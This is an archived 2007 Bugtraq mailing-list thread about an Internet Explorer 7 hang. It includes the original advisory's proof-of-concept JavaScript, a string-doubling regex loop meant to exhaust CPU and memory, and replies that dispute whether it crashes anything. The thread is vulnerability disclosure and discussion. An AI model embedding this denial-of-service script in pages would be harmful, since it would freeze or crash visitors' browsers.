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Re: Internet Explorer Crash

Tested on several machines- max CPU went to 25, and IE came up asking if I wanted to stop the script in all cases. This is true of a default Vista install of IE 7 and XP Pro installs upgraded to IE 7. Scripting has to be on as well... Even on a dog computer, the prompt will come up (eventually). Non-issue here. 

t
----- Original Message ----- From: "Tom Gregory" <sick.minded@xxxxxxxxx> 
To: "Thor (Hammer of God)" <thor@xxxxxxxxxxxxxxx>
Cc: <bugtraq@xxxxxxxxxxxxxxxxx>
Sent: Wednesday, April 18, 2007 9:12 AM
Subject: Re: Internet Explorer Crash



Actually Yes, the PoC crashing my IE, make it hang and my CPU usage goes
to 100%, and i'm using Internet Explorer 7.0.5730.11 like he said.

Tom



Thor (Hammer of God) wrote:

Actually, I just get a message that says "A script on this page is
causing Internet Explorer to run slowly."  But my CPU usage for
iexplore.exe is only at 20, and my system didn't slow down in the
least.  I went ahead and told IE to continue to run the script, and pops
up again in a bit asking me the same thing.  Finally bored, I say "no"
and it immediately came up with "Goodbye" on the page.

If this actually makes Safari and Konqueror crash, why the "stop using
Microsoft products" recommendation?  At least IE is smart enough to tell
me that your little "stupidInternetExploder" script is being pesky.

t

----- Original Message ----- From: "J. Oquendo" <sil@xxxxxxxxxxxxxxx>
To: <bugtraq@xxxxxxxxxxxxxxxxx>
Sent: Tuesday, April 17, 2007 10:09 AM
Subject: Internet Explorer Crash





Product: Internet Explorer Version 7.0.5730.11
Impact: Browser crash possibly more
Author: Jesus Oquendo
echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'


I. BACKGROUND
Why bother? Who doesn't know what Internet Explorer and Microsoft are.

II. DESCRIPTION
IE 7 is vulnerable to a script which causes the browser to hang. The
memory and CPU usage go through the roof. Originally the script caused
(and still causes) Safari and Konqueror to crash.

III SOLUTION
Stop using Microsoft products or deal with a new advisory every other
day.

IV. Proof
http://www.infiltrated.net/stupidInternetExploder.html

V. Code

$ more /stupidInternetExploder.html

<script>

var reg = /(.)*/;

var z = 'Z';
               while (z.length <=
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
z+=z;
       var boum = reg.exec(z);

</script>

Goodbye


J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net
The happiness of society is the end of government.
John Adams